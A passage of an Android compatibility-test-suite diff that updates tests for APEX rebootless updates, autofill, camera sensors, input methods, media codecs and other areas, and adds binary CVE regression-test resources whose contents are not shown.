b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java @@ -356,7 +356,27 @@ public class StagedInstallTest extends BaseHostJUnit4Test { public void testInstallStagedApex_SameGrade() throws Exception { assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported()); installV3Apex(); + ApexInfo shim1 = + readApexInfoList().stream() + .filter(a -> a.getModuleName().equals(SHIM_APEX_PACKAGE_NAME)) + .filter(ApexInfo::getIsActive) + .findAny() + .orElseThrow(() -> + new AssertionError( + "No active version of " + SHIM_APEX_PACKAGE_NAME + + " found in /apex/apex-info-list.xml")); + installV3Apex(); + ApexInfo shim2 = + readApexInfoList().stream() + .filter(a -> a.getModuleName().equals(SHIM_APEX_PACKAGE_NAME)) + .filter(ApexInfo::getIsActive) + .findAny() + .orElseThrow(() -> + new AssertionError( + "No active version of " + SHIM_APEX_PACKAGE_NAME + + " found in /apex/apex-info-list.xml")); + assertThat(shim1.getLastUpdateMillis()).isNotEqualTo(shim2.getLastUpdateMillis()); } @Test @@ -732,6 +752,7 @@ public class StagedInstallTest extends BaseHostJUnit4Test { assertThat(apexInfo.getModulePath()).isEqualTo(apex.sourceDir); assertThat(apexInfo.getVersionCode()).isEqualTo(apex.versionCode); assertThat(apexInfo.getIsActive()).isTrue(); + assertThat(apexInfo.getLastUpdateMillis()).isGreaterThan(0); } } @@ -739,6 +760,8 @@ public class StagedInstallTest extends BaseHostJUnit4Test { public void testApexInfoListAfterUpdate() throws Exception { assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported()); + ApexInfo shimBeforeUpdate = getShimApexInfo(); + installV2Apex(); List<ApexInfo> shimApexInfo = @@ -762,6 +785,8 @@ public class StagedInstallTest extends BaseHostJUnit4Test { assertThat(factoryShimApexInfo.getVersionCode()).isEqualTo(1); assertThat(factoryShimApexInfo.getModulePath()) .isEqualTo(factoryShimApexInfo.getPreinstalledModulePath()); + assertThat(factoryShimApexInfo.getLastUpdateMillis()) + .isEqualTo(shimBeforeUpdate.getLastUpdateMillis()); ApexInfo activeShimApexInfo = shimApexInfo.stream() @@ -777,6 +802,108 @@ public class StagedInstallTest extends BaseHostJUnit4Test { assertThat(activeShimApexInfo.getVersionCode()).isEqualTo(2); assertThat(activeShimApexInfo.getPreinstalledModulePath()) .isEqualTo(factoryShimApexInfo.getModulePath()); + assertThat(activeShimApexInfo.getLastUpdateMillis()) + .isNotEqualTo(shimBeforeUpdate.getLastUpdateMillis()); + } + + @Test + @LargeTest + public void testRebootlessUpdate() throws Exception { + assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported()); + + runPhase("testRebootlessUpdate"); + ApexInfo activeShimApexInfo = getActiveShimApexInfo(); + assertThat(activeShimApexInfo.getModuleName()).isEqualTo(SHIM_APEX_PACKAGE_NAME); + assertThat(activeShimApexInfo.getIsActive()).isTrue(); + assertThat(activeShimApexInfo.getIsFactory()).isFalse(); + assertThat(activeShimApexInfo.getVersionCode()).isEqualTo(2); + } + + @Test + public void testRebootlessUpdate_fromV2ToV3_sameBoot() throws Exception { + assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported()); + + runPhase("testRebootlessUpdate"); + runPhase("testRebootlessUpdate_installV3"); + ApexInfo activeShimApexInfo = getActiveShimApexInfo(); + assertThat(activeShimApexInfo.getModuleName()).isEqualTo(SHIM_APEX_PACKAGE_NAME); + assertThat(activeShimApexInfo.getIsActive()).isTrue(); + assertThat(activeShimApexInfo.getIsFactory()).isFalse(); + assertThat(activeShimApexInfo.getVersionCode()).isEqualTo(3); + } + + @Test + @LargeTest + public void testRebootlessUpdate_fromV2ToV3_rebootInBetween() throws Exception { + assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported()); + + runPhase("testRebootlessUpdate"); + getDevice().reboot(); + runPhase("testRebootlessUpdate_installV3"); + ApexInfo activeShimApexInfo = getActiveShimApexInfo(); + assertThat(activeShimApexInfo.getModuleName()).isEqualTo(SHIM_APEX_PACKAGE_NAME); + assertThat(activeShimApexInfo.getIsActive()).isTrue(); + assertThat(activeShimApexInfo.getIsFactory()).isFalse(); + assertThat(activeShimApexInfo.getVersionCode()).isEqualTo(3); + } + + @Test + @LargeTest + public void testRebootlessUpdate_downgrage_fails() throws Exception { + assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported()); + + runPhase("testRebootlessUpdate_installV3"); + runPhase("testRebootlessUpdate_downgradeToV2_fails"); + } + + @Test + public void testRebootlessUpdate_noPermission_fails() throws Exception { + assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported()); + + runPhase("testRebootlessUpdate_noPermission_fails"); + } + + @Test + public void testRebootlessUpdate_noPreInstalledApex_fails() throws Exception { + assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported()); + + runPhase("testRebootlessUpdate_noPreInstalledApex_fails"); + } + + @Test + public void testRebootlessUpdate_unsignedPayload_fails() throws Exception { + assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported()); + + runPhase("testRebootlessUpdate_unsignedPayload_fails"); + } + + @Test + public void testRebootlessUpdate_payloadSignedWithDifferentKey_fails() throws Exception { + assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported()); + + runPhase("testRebootlessUpdate_payloadSignedWithDifferentKey_fails"); + } + + @Test + public void testRebootlessUpdate_outerContainerSignedWithDifferentCert_fails() + throws Exception { + assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported()); + + runPhase("testRebootlessUpdate_outerContainerSignedWithDifferentCert_fails"); + } + + @Test + public void testRebootlessUpdate_outerContainerUnsigned_fails() throws Exception { + assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported()); + + runPhase("testRebootlessUpdate_outerContainerUnsigned_fails"); + } + + @Test + public void testRebootlessUpdate_targetsOlderSdk_fails() throws Exception { + assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported()); + + runPhase("testRebootlessUpdate_targetsOlderSdk_fails"); } private List<ApexInfo> readApexInfoList() throws Exception { @@ -786,6 +913,26 @@ public class StagedInstallTest extends BaseHostJUnit4Test { } } + private ApexInfo getShimApexInfo() throws Exception { + List<ApexInfo> temp = + readApexInfoList().stream() + .filter(a -> a.getModuleName().equals(SHIM_APEX_PACKAGE_NAME)) + .collect(Collectors.toList()); + assertThat(temp).hasSize(1); + return temp.get(0); + } + + private ApexInfo getActiveShimApexInfo() throws Exception { + return readApexInfoList().stream() + .filter(a -> a.getModuleName().equals(SHIM_APEX_PACKAGE_NAME)) + .filter(ApexInfo::getIsActive) + .findAny() + .orElseThrow(() -> + new AssertionError( + "No active version of " + SHIM_APEX_PACKAGE_NAME + + " found in /apex/apex-info-list.xml")); + } + /** * Store the component name of the default launcher. This value will be used to reset the * default launcher to its correct component upon test completion. diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/SimpleSaveActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/SimpleSaveActivity.java index 1ba0b07b4d3..2866cbc371d 100644 --- a/tests/autofillservice/src/android/autofillservice/cts/activities/SimpleSaveActivity.java +++ b/tests/autofillservice/src/android/autofillservice/cts/activities/SimpleSaveActivity.java @@ -105,12 +105,16 @@ public class SimpleSaveActivity extends AbstractAutoFillActivity { mClearFieldsOnSubmit = flag; } - public FillExpectation expectAutoFill(String input) { + public FillExpectation expectInputTextChange(String input) { final FillExpectation expectation = new FillExpectation(input, null); mInput.addTextChangedListener(expectation.mInputWatcher); return expectation; } + public FillExpectation expectAutoFill(String input) { + return expectInputTextChange(input); + } + public FillExpectation expectAutoFill(String input, String password) { final FillExpectation expectation = new FillExpectation(input, password); mInput.addTextChangedListener(expectation.mInputWatcher); @@ -133,6 +137,10 @@ public class SimpleSaveActivity extends AbstractAutoFillActivity { : new OneTimeTextWatcher("password", mPassword, password); } + public void assertTextChange() throws Exception { + assertAutoFilled(); + } + public void assertAutoFilled() throws Exception { mInputWatcher.assertAutoFilled(); if (mPasswordWatcher != null) { diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineSimpleSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineSimpleSaveActivityTest.java index da84344e06b..d07f95b0c0f 100644 --- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineSimpleSaveActivityTest.java +++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineSimpleSaveActivityTest.java @@ -92,8 +92,10 @@ public class InlineSimpleSaveActivityTest mUiBot.assertNoDatasetsEver(); // Change input + final SimpleSaveActivity.FillExpectation changeExpectation = + mActivity.expectInputTextChange("ID"); mActivity.syncRunOnUiThread(() -> mActivity.getInput().setText("ID")); - mUiBot.waitForIdle(); + changeExpectation.assertTextChange(); // Trigger save UI. mUiBot.selectByRelativeId(ID_COMMIT); @@ -136,15 +138,19 @@ public class InlineSimpleSaveActivityTest mUiBot.assertDatasets("YO"); // Select suggestion + final SimpleSaveActivity.FillExpectation fillExpectation = + mActivity.expectAutoFill("id", "pass"); mUiBot.selectDataset("YO"); mUiBot.waitForIdle(); // Check the results. - mActivity.expectAutoFill("id", "pass"); + fillExpectation.assertAutoFilled(); // Change input + final SimpleSaveActivity.FillExpectation changeExpectation = + mActivity.expectInputTextChange("ID"); mActivity.syncRunOnUiThread(() -> mActivity.getInput().setText("ID")); - mUiBot.waitForIdle(); + changeExpectation.assertTextChange(); // Trigger save UI. mUiBot.selectByRelativeId(ID_COMMIT); diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraExtensionSessionTest.java b/tests/camera/src/android/hardware/camera2/cts/CameraExtensionSessionTest.java index d181f9e4ecc..e50a0c8c6c2 100644 --- a/tests/camera/src/android/hardware/camera2/cts/CameraExtensionSessionTest.java +++ b/tests/camera/src/android/hardware/camera2/cts/CameraExtensionSessionTest.java @@ -130,7 +130,7 @@ public class CameraExtensionSessionTest extends Camera2ParameterizedTestCase { for (String id : mCameraIdsUnderTest) { StaticMetadata staticMeta = new StaticMetadata(mTestRule.getCameraManager().getCameraCharacteristics(id)); - if (!staticMeta.isColorCorrectionSupported()) { + if (!staticMeta.isColorOutputSupported()) { continue; } updatePreviewSurfaceTexture(); @@ -180,7 +180,7 @@ public class CameraExtensionSessionTest extends Camera2ParameterizedTestCase { for (String id : mCameraIdsUnderTest) { StaticMetadata staticMeta = new StaticMetadata(mTestRule.getCameraManager().getCameraCharacteristics(id)); - if (!staticMeta.isColorCorrectionSupported()) { + if (!staticMeta.isColorOutputSupported()) { continue; } updatePreviewSurfaceTexture(); @@ -247,7 +247,7 @@ public class CameraExtensionSessionTest extends Camera2ParameterizedTestCase { for (String id : mCameraIdsUnderTest) { StaticMetadata staticMeta = new StaticMetadata(mTestRule.getCameraManager().getCameraCharacteristics(id)); - if (!staticMeta.isColorCorrectionSupported()) { + if (!staticMeta.isColorOutputSupported()) { continue; } updatePreviewSurfaceTexture(); @@ -309,7 +309,7 @@ public class CameraExtensionSessionTest extends Camera2ParameterizedTestCase { for (String id : mCameraIdsUnderTest) { StaticMetadata staticMeta = new StaticMetadata(mTestRule.getCameraManager().getCameraCharacteristics(id)); - if (!staticMeta.isColorCorrectionSupported()) { + if (!staticMeta.isColorOutputSupported()) { continue; } updatePreviewSurfaceTexture(); @@ -368,7 +368,7 @@ public class CameraExtensionSessionTest extends Camera2ParameterizedTestCase { for (String id : mCameraIdsUnderTest) { StaticMetadata staticMeta = new StaticMetadata(mTestRule.getCameraManager().getCameraCharacteristics(id)); - if (!staticMeta.isColorCorrectionSupported()) { + if (!staticMeta.isColorOutputSupported()) { continue; } updatePreviewSurfaceTexture(); @@ -474,7 +474,7 @@ public class CameraExtensionSessionTest extends Camera2ParameterizedTestCase { for (String id : mCameraIdsUnderTest) { StaticMetadata staticMeta = new StaticMetadata(mTestRule.getCameraManager().getCameraCharacteristics(id)); - if (!staticMeta.isColorCorrectionSupported()) { + if (!staticMeta.isColorOutputSupported()) { continue; } updatePreviewSurfaceTexture(); @@ -616,7 +616,7 @@ public class CameraExtensionSessionTest extends Camera2ParameterizedTestCase { for (String id : mCameraIdsUnderTest) { StaticMetadata staticMeta = new StaticMetadata(mTestRule.getCameraManager().getCameraCharacteristics(id)); - if (!staticMeta.isColorCorrectionSupported()) { + if (!staticMeta.isColorOutputSupported()) { continue; } CameraExtensionCharacteristics extensionChars = @@ -760,7 +760,7 @@ public class CameraExtensionSessionTest extends Camera2ParameterizedTestCase { for (String id : mCameraIdsUnderTest) { StaticMetadata staticMeta = new StaticMetadata(mTestRule.getCameraManager().getCameraCharacteristics(id)); - if (!staticMeta.isColorCorrectionSupported()) { + if (!staticMeta.isColorOutputSupported()) { continue; } updatePreviewSurfaceTexture(); @@ -1066,7 +1066,7 @@ public class CameraExtensionSessionTest extends Camera2ParameterizedTestCase { for (String id : mCameraIdsUnderTest) { StaticMetadata staticMeta = new StaticMetadata(mTestRule.getCameraManager().getCameraCharacteristics(id)); - if (!staticMeta.isColorCorrectionSupported()) { + if (!staticMeta.isColorOutputSupported()) { continue; } updatePreviewSurfaceTexture(); diff --git a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java index d6d5cfc0941..4b483909f5b 100644 --- a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java +++ b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java @@ -110,6 +110,7 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase { private static final long MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION = 5000000; private static final long MIN_FRONT_SENSOR_R_PERF_CLASS_RESOLUTION = 4000000; + private static final long MIN_UHR_SENSOR_RESOLUTION = 24000000; /* * HW Levels short hand */ @@ -1481,65 +1482,100 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase { } /** - * Check remosaic reprocessing capabilities. Check that ImageFormat.RAW_SENSOR is supported as - * input and output. + * Check ultra high resolution sensor characteristics. */ @Test - public void testRemosaicReprocessingCharacteristics() { + public void testUltraHighResolutionSensorCharacteristics() { for (int i = 0; i < mAllCameraIds.length; i++) { - Log.i(TAG, "testRemosaicReprocessingCharacteristics: Testing camera ID " + - mAllCameraIds[i]); - CameraCharacteristics c = mCharacteristics.get(i); + String cameraId = mAllCameraIds[i]; int[] capabilities = c.get(CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES); assertNotNull("android.request.availableCapabilities must never be null", capabilities); + boolean isUltraHighResolutionSensor = arrayContains(capabilities, + CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_ULTRA_HIGH_RESOLUTION_SENSOR); + boolean supportsRemosaic = arrayContains(capabilities, CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_REMOSAIC_REPROCESSING); - if (!supportsRemosaic) { - Log.i(TAG, "Remosaic reprocessing not supported by camera id " + i + - " skipping test"); + + if (!isUltraHighResolutionSensor) { + Log.i(TAG, "Camera id " + cameraId + " not ultra high resolution. Skipping " + + "testUltraHighResolutionSensorCharacteristics"); continue; } + assertArrayContains( + String.format("Ultra high resolution sensor, camera id %s" + + " must also have the RAW capability", cameraId), capabilities, + CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_RAW); StreamConfigurationMap configs = c.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP_MAXIMUM_RESOLUTION); - Integer maxNumInputStreams = - c.get(CameraCharacteristics.REQUEST_MAX_NUM_INPUT_STREAMS); - int[] inputFormats = configs.getInputFormats(); + assertNotNull("Maximum resolution stream configuration map must not be null for ultra" + + " high resolution sensor camera " + cameraId, configs); + Size uhrPixelArraySize = CameraTestUtils.getValueNotNull( + c, CameraCharacteristics.SENSOR_INFO_PIXEL_ARRAY_SIZE_MAXIMUM_RESOLUTION); + long uhrSensorSize = uhrPixelArraySize.getHeight() * uhrPixelArraySize.getWidth(); + + assertTrue("ULTRA_HIGH_RESOLUTION_SENSOR pixel array size should be at least " + + MIN_UHR_SENSOR_RESOLUTION + " pixels, is " + uhrSensorSize + ", for camera id " + + cameraId, uhrSensorSize >= MIN_UHR_SENSOR_RESOLUTION); + int[] outputFormats = configs.getOutputFormats(); + assertArrayContains(String.format("No max res JPEG image format for ultra high" + + " resolution sensor: ID %s", cameraId), outputFormats, ImageFormat.JPEG); + assertArrayContains(String.format("No max res YUV_420_88 image format for ultra high" + + " resolution sensor: ID %s", cameraId), outputFormats, ImageFormat.YUV_420_888); + assertArrayContains(String.format("No max res RAW_SENSOR image format for ultra high" + + " resolution sensor: ID %s", cameraId), outputFormats, ImageFormat.RAW_SENSOR); - mCollector.expectTrue("Support reprocessing but max number of input stream is " + - maxNumInputStreams, maxNumInputStreams != null && maxNumInputStreams > 0); - - // Verify mandatory input formats are supported - mCollector.expectTrue("RAW_SENSOR input support needed for REMOSAIC reprocessing", - arrayContains(inputFormats, ImageFormat.RAW_SENSOR)); - // max capture stall must be reported if one of the reprocessing is supported. - final int MAX_ALLOWED_STALL_FRAMES = 4; - Integer maxCaptureStall = c.get(CameraCharacteristics.REPROCESS_MAX_CAPTURE_STALL); - mCollector.expectTrue("max capture stall must be non-null and no larger than " - + MAX_ALLOWED_STALL_FRAMES, - maxCaptureStall != null && maxCaptureStall <= MAX_ALLOWED_STALL_FRAMES); - - for (int input : inputFormats) { - // Verify mandatory output formats are supported - int[] outputFormatsForInput = configs.getValidOutputFormatsForInput(input); - - // Verify camera can output the reprocess input formats and sizes. - Size[] inputSizes = configs.getInputSizes(input); - Size[] outputSizes = configs.getOutputSizes(input); - Size[] highResOutputSizes = configs.getHighResolutionOutputSizes(input); - mCollector.expectTrue("no input size supported for format " + input, - inputSizes.length > 0); - mCollector.expectTrue("no output size supported for format " + input, - outputSizes.length > 0); - - for (Size inputSize : inputSizes) { - mCollector.expectTrue("Camera must be able to output the supported " + - "reprocessing input size", - arrayContains(outputSizes, inputSize) || - arrayContains(highResOutputSizes, inputSize)); - } + if (supportsRemosaic) { + testRemosaicReprocessingCharacteristics(cameraId, c); + } + } + + } + /** + * Check remosaic reprocessing capabilities. Check that ImageFormat.RAW_SENSOR is supported as + * input and output. + */ + private void testRemosaicReprocessingCharacteristics(String cameraId, CameraCharacteristics c) { + StreamConfigurationMap configs = + c.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP_MAXIMUM_RESOLUTION); + Integer maxNumInputStreams = + c.get(CameraCharacteristics.REQUEST_MAX_NUM_INPUT_STREAMS); + int[] inputFormats = configs.getInputFormats(); + int[] outputFormats = configs.getOutputFormats(); + + mCollector.expectTrue("Support reprocessing but max number of input stream is " + + maxNumInputStreams, maxNumInputStreams != null && maxNumInputStreams > 0); + + // Verify mandatory input formats are supported + mCollector.expectTrue("RAW_SENSOR input support needed for REMOSAIC reprocessing", + arrayContains(inputFormats, ImageFormat.RAW_SENSOR)); + // max capture stall must be reported if one of the reprocessing is supported. + final int MAX_ALLOWED_STALL_FRAMES = 4; + Integer maxCaptureStall = c.get(CameraCharacteristics.REPROCESS_MAX_CAPTURE_STALL); + mCollector.expectTrue("max capture stall must be non-null and no larger than " + + MAX_ALLOWED_STALL_FRAMES, + maxCaptureStall != null && maxCaptureStall <= MAX_ALLOWED_STALL_FRAMES); + + for (int input : inputFormats) { + // Verify mandatory output formats are supported + int[] outputFormatsForInput = configs.getValidOutputFormatsForInput(input); + + // Verify camera can output the reprocess input formats and sizes. + Size[] inputSizes = configs.getInputSizes(input); + Size[] outputSizes = configs.getOutputSizes(input); + Size[] highResOutputSizes = configs.getHighResolutionOutputSizes(input); + mCollector.expectTrue("no input size supported for format " + input, + inputSizes.length > 0); + mCollector.expectTrue("no output size supported for format " + input, + outputSizes.length > 0); + + for (Size inputSize : inputSizes) { + mCollector.expectTrue("Camera must be able to output the supported " + + "reprocessing input size", + arrayContains(outputSizes, inputSize) || + arrayContains(highResOutputSizes, inputSize)); } } } diff --git a/tests/framework/base/windowmanager/appProfileable/src/android/server/wm/profileable/ProfileableAppActivity.java b/tests/framework/base/windowmanager/appProfileable/src/android/server/wm/profileable/ProfileableAppActivity.java index e7fa8ffa17c..46f6183838e 100644 --- a/tests/framework/base/windowmanager/appProfileable/src/android/server/wm/profileable/ProfileableAppActivity.java +++ b/tests/framework/base/windowmanager/appProfileable/src/android/server/wm/profileable/ProfileableAppActivity.java @@ -61,7 +61,14 @@ public class ProfileableAppActivity extends BasicTestActivity { /** Monitor the close event of trace file. */ private static class TraceFileObserver extends FileObserver { - private static final long TIMEOUT_MS = TimeUnit.SECONDS.toMillis(5); + /** + * The timeout for the close event of trace file. Although the trace file may take longer + * than 3 seconds, it is enough because the test only checks the first line of the file. + * Note that this timeout must be less than the value of + * {@link android.server.wm.CommandSession.ActivitySession.Response#TIMEOUT_MILLIS}. + * Otherwise the caller who sent {@link COMMAND_WAIT_FOR_PROFILE_OUTPUT} may get exception. + */ + private static final long TIMEOUT_MS = TimeUnit.SECONDS.toMillis(3); private volatile boolean mDone; TraceFileObserver() { diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodManagerTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodManagerTest.java index 9b1c83652bb..5eaa32ed205 100644 --- a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodManagerTest.java +++ b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodManagerTest.java @@ -207,7 +207,7 @@ public class InputMethodManagerTest { PackageManager.FEATURE_INPUT_METHODS)); enableImes(MOCK_IME_ID, HIDDEN_FROM_PICKER_IME_ID); - TestActivity.startSync(activity -> { + final TestActivity testActivity = TestActivity.startSync(activity -> { final View view = new View(activity); view.setLayoutParams(new LayoutParams( LayoutParams.MATCH_PARENT, LayoutParams.MATCH_PARENT)); @@ -222,8 +222,9 @@ public class InputMethodManagerTest { // Test InputMethodManager#showInputMethodPicker() works as expected. mImManager.showInputMethodPicker(); - waitOnMainUntil(() -> mImManager.isInputMethodPickerShown(), TIMEOUT, - "InputMethod picker should be shown"); + waitOnMainUntil(() -> mImManager.isInputMethodPickerShown() + && !testActivity.hasWindowFocus(), TIMEOUT, + "InputMethod picker should be shown and test activity lost focus"); final UiDevice uiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation()); assertThat(uiDevice.wait(Until.hasObject(By.text(MOCK_IME_LABEL)), TIMEOUT)).isTrue(); @@ -234,6 +235,8 @@ public class InputMethodManagerTest { new Intent(ACTION_CLOSE_SYSTEM_DIALOGS).setFlags(FLAG_RECEIVER_FOREGROUND)); waitOnMainUntil(() -> !mImManager.isInputMethodPickerShown(), TIMEOUT, "InputMethod picker should be closed"); + waitOnMainUntil(() -> testActivity.hasWindowFocus(), TIMEOUT, + "Activity should be focused after picker dismissed"); } private void enableImes(String... ids) { diff --git a/tests/sensor/src/android/hardware/cts/helpers/SensorCtsHelper.java b/tests/sensor/src/android/hardware/cts/helpers/SensorCtsHelper.java index 597496e75ad..366e1482bc8 100644 --- a/tests/sensor/src/android/hardware/cts/helpers/SensorCtsHelper.java +++ b/tests/sensor/src/android/hardware/cts/helpers/SensorCtsHelper.java @@ -247,7 +247,7 @@ public class SensorCtsHelper { sb.append("("); } for (int i = 0; i < array.length; i++) { - sb.append(String.format("%.2f", array[i])); + sb.append(String.format("%.8f", array[i])); if (i != array.length - 1) { sb.append(", "); } diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java index 2472d48c29d..bc813aab38a 100644 --- a/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java +++ b/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java @@ -1099,8 +1099,7 @@ public class CarrierApiTest extends BaseCarrierApiTest { (sm) -> getSubscriptionIdList(sm.getSubscriptionsInGroup(uuid))); activeSubGroup.add(subId); - assertThat(infoList).hasSize(activeSubGroup.size()); - assertThat(infoList).containsExactly(activeSubGroup); + assertThat(infoList).containsExactlyElementsIn(activeSubGroup); } finally { removeSubscriptionsFromGroup(uuid); } @@ -1132,8 +1131,7 @@ public class CarrierApiTest extends BaseCarrierApiTest { List<Integer> infoList = getSubscriptionIdList(mSubscriptionManager.getSubscriptionsInGroup(uuid)); accessibleSubGroup.add(subId); - assertThat(infoList).hasSize(accessibleSubGroup.size()); - assertThat(infoList).containsExactly(accessibleSubGroup); + assertThat(infoList).containsExactlyElementsIn(accessibleSubGroup); } } finally { removeSubscriptionsFromGroup(uuid); diff --git a/tests/tests/graphics/src/android/graphics/cts/OpenGlEsDeqpLevelTest.java b/tests/tests/graphics/src/android/graphics/cts/OpenGlEsDeqpLevelTest.java index ceed14a8db8..c6e4b96def5 100644 --- a/tests/tests/graphics/src/android/graphics/cts/OpenGlEsDeqpLevelTest.java +++ b/tests/tests/graphics/src/android/graphics/cts/OpenGlEsDeqpLevelTest.java @@ -20,6 +20,7 @@ import static org.junit.Assert.assertTrue; import static org.junit.Assume.assumeTrue; import android.content.pm.PackageManager; +import android.platform.test.annotations.AppModeFull; import android.util.Log; import androidx.test.InstrumentationRegistry; @@ -38,6 +39,7 @@ import org.junit.runner.RunWith; */ @SmallTest @RunWith(AndroidJUnit4.class) +@AppModeFull(reason = "Instant apps cannot access ro.board.* system properties") public class OpenGlEsDeqpLevelTest { private static final String TAG = OpenGlEsDeqpLevelTest.class.getSimpleName(); diff --git a/tests/tests/graphics/src/android/graphics/cts/VulkanDeqpLevelTest.java b/tests/tests/graphics/src/android/graphics/cts/VulkanDeqpLevelTest.java index eace470bede..277ca805c78 100644 --- a/tests/tests/graphics/src/android/graphics/cts/VulkanDeqpLevelTest.java +++ b/tests/tests/graphics/src/android/graphics/cts/VulkanDeqpLevelTest.java @@ -21,6 +21,7 @@ import static org.junit.Assume.assumeTrue; import android.content.pm.FeatureInfo; import android.content.pm.PackageManager; +import android.platform.test.annotations.AppModeFull; import android.util.Log; import androidx.test.InstrumentationRegistry; @@ -40,6 +41,7 @@ import org.junit.runner.RunWith; */ @SmallTest @RunWith(AndroidJUnit4.class) +@AppModeFull(reason = "Instant apps cannot access ro.board.* system properties") public class VulkanDeqpLevelTest { private static final String TAG = VulkanDeqpLevelTest.class.getSimpleName(); diff --git a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTestImpl.java b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTestImpl.java index 215387df073..85136bc2fe5 100644 --- a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTestImpl.java +++ b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTestImpl.java @@ -427,7 +427,8 @@ public class EncodeVirtualDisplayWithCompositionTestImpl { * Determines if two color values are approximately equal. */ private static boolean approxEquals(int expected, int actual) { - final int MAX_DELTA = 7; + // allow differences between BT.601 and BT.709 conversions during encoding/decoding for now + final int MAX_DELTA = 17; return Math.abs(expected - actual) <= MAX_DELTA; } diff --git a/tests/tests/media/src/android/media/cts/MediaCodecTest.java b/tests/tests/media/src/android/media/cts/MediaCodecTest.java index dad5154d4f0..33358b655b2 100644 --- a/tests/tests/media/src/android/media/cts/MediaCodecTest.java +++ b/tests/tests/media/src/android/media/cts/MediaCodecTest.java @@ -2664,6 +2664,7 @@ public class MediaCodecTest extends AndroidTestCase { for (String mime: info.getSupportedTypes()) { CodecCapabilities caps = info.getCapabilitiesForType(mime); boolean isVideo = (caps.getVideoCapabilities() != null); + boolean isAudio = (caps.getAudioCapabilities() != null); MediaCodec codec = null; MediaFormat format = null; @@ -2681,7 +2682,7 @@ public class MediaCodecTest extends AndroidTestCase { format.setInteger(MediaFormat.KEY_BIT_RATE, minBitrate); format.setInteger(MediaFormat.KEY_FRAME_RATE, minFrameRate); format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, IFRAME_INTERVAL); - } else { + } else if(isAudio){ AudioCapabilities acaps = caps.getAudioCapabilities(); int minSampleRate = acaps.getSupportedSampleRateRanges()[0].getLower(); int minChannelCount = 1; @@ -2692,11 +2693,13 @@ public class MediaCodecTest extends AndroidTestCase { format = MediaFormat.createAudioFormat(mime, minSampleRate, minChannelCount); format.setInteger(MediaFormat.KEY_BIT_RATE, minBitrate); } - format.setInteger(MediaFormat.KEY_PREPEND_HEADER_TO_SYNC_FRAMES, 1); - codec.configure(format, null /* surface */, null /* crypto */, - isEncoder ? codec.CONFIGURE_FLAG_ENCODE : 0); + if (isVideo || isAudio) { + format.setInteger(MediaFormat.KEY_PREPEND_HEADER_TO_SYNC_FRAMES, 1); + codec.configure(format, null /* surface */, null /* crypto */, + isEncoder ? codec.CONFIGURE_FLAG_ENCODE : 0); + } if (isVideo && isEncoder) { Log.i(TAG, info.getName() + " supports KEY_PREPEND_HEADER_TO_SYNC_FRAMES"); } else { diff --git a/tests/tests/security/res/raw/cve_2021_0635_1.flv b/tests/tests/security/res/raw/cve_2021_0635_1.flv Binary files differnew file mode 100644 index 00000000000..8d87f0446cb --- /dev/null +++ b/tests/tests/security/res/raw/cve_2021_0635_1.flv diff --git a/tests/tests/security/res/raw/cve_2021_0635_2.flv b/tests/tests/security/res/raw/cve_2021_0635_2.flv Binary files differnew file mode 100644 index 00000000000..beebacdd322 --- /dev/null +++ b/tests/tests/security/res/raw/cve_2021_0635_2.flv diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0521.java b/tests/tests/security/src/android/security/cts/CVE_2021_0521.java new file mode 100644 index 00000000000..8a883ff7fdc --- /dev/null +++ b/tests/tests/security/src/android/security/cts/CVE_2021_0521.java @@ -0,0 +1,91 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + 